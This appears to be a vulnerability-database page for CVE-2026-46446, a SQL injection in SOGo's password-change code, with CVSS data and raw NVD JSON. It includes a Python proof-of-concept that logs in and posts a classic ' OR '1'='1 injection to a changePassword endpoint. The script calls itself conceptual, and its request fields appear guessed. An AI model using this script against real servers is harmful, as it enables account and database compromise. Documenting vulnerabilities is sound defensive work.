Security Vulnerability Report
中文
CVE-2026-46446 CVSS 7.1 HIGH

CVE-2026-46446

Published: 2026-05-14 04:17:04
Last Modified: 2026-05-14 16:49:19

Description

SOGo before 5.12.7, when PostgreSQL or MariaDB is used, and cleartext passwords are stored, allows SQL injection. This is related to c_password = '%@' in changePasswordForLogin.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

SOGo < 5.12.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-sogo-server/SOGo/connect/changePassword" session = requests.Session() # Attacker credentials (Low privilege required) login_payload = { "userName": "low_priv_user", "password": "password123", "domain": "sogo.local" } # 1. Authenticate to get a session session.post("http://target-sogo-server/SOGo/connect", data=login_payload) # 2. Exploit SQL Injection in changePasswordForLogin # The vulnerability occurs in the 'c_password' parameter when cleartext passwords are used. # Payload attempts to inject a boolean-based SQL statement. exploit_payload = { "c_password": "' OR '1'='1", # Injection payload "newPassword": "hacked", "confirmPassword": "hacked" } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Payload sent successfully. Check for database errors or behavioral changes.") else: print("[-] Request failed.") # Note: This is a conceptual PoC demonstrating the injection point based on the CVE description.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-46446", "sourceIdentifier": "[email protected]", "published": "2026-05-14T04:17:03.547", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SOGo before 5.12.7, when PostgreSQL or MariaDB is used, and cleartext passwords are stored, allows SQL injection. This is related to c_password = '%@' in changePasswordForLogin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/Alinto/sogo/pull/379/changes/1f7e5d2b2c2047c44a6a9e05f73c36491cb96d21", "source": "[email protected]"}, {"url": "https://www.mail-archive.com/debian-bugs-dist%40lists.debian.org/msg2100131.html", "source": "[email protected]"}, {"url": "https://www.sogo.nu/news/2026/sogo-v5127-released.html", "source": "[email protected]"}]}}